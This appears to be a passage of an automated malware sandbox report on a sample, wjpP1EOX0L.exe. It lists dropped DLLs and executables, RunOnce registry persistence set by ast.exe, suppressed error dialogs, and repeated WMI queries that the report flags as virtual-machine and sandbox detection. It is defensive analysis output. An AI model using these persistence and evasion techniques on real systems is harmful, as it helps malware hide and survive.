Source: astrct.dll.9.dr	Static PE information: section name: .rodata
Source: hatls.dll.9.dr	Static PE information: section name: .textbss
Source: hatls.dll.9.dr	Static PE information: section name: .msvcjmc
Source: hatls.dll.9.dr	Static PE information: section name: .00cfg
Source: libcrypto-1_1.dll.9.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.9.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\AppData\Roaming\im\ast.exe

Code function: 10_2_6B939F78 push ecx; ret

10_2_6B939F76

Source: is-88TFK.tmp.3.dr	Static PE information: section name: .text entropy: 6.95576372950548
Source: msvcr120.dll.9.dr	Static PE information: section name: .text entropy: 6.95576372950548

Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\is-2G518.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\is-VCJTB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\is-KGLTC.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\im\aw_sas32.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\quartz.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\im\libjpeg-turbo-win.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\is-951GK.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\astclient.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\msvcr120.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\im\quartz.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\libssl-1_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\is-PDD2G.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\aw_sas32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\is-H2GRU.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\AstCrp.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\im\opus.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\is-82POG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\libcryptoMD.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\im\hatls.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\hatls.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\is-1C94S.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\ast.exe (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\im\libcryptoMD.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\libcurl.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\im\msvcr120.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\is-88TFK.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\is-ERH6U.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\is-JCPUK.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\im\libeay32.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\is-H2GRU.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\is-1C94S.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\im\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\is-5IUGA.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\libjpeg-turbo-win.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\im\astrct.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\libeay32.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\im\astclient.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\im\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\wjpP1EOX0L.exe	File created: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\is-SD6OU.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\im\ast.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\im\AstCrp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\is-UA1D6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\is-4POLO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\astrct.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\wjpP1EOX0L.exe	File created: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\is-2EBQK.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\libcrypto-1_1.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\im\libcurl.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\is-ND9BQ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	File created: C:\Users\user\AppData\Local\Temp\mo6x\opus.dll (copy)	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\im\ast.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce asg	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce asg	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce asg	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce asg	Jump to behavior

Source: C:\Users\user\Desktop\wjpP1EOX0L.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wjpP1EOX0L.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\im\ast.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
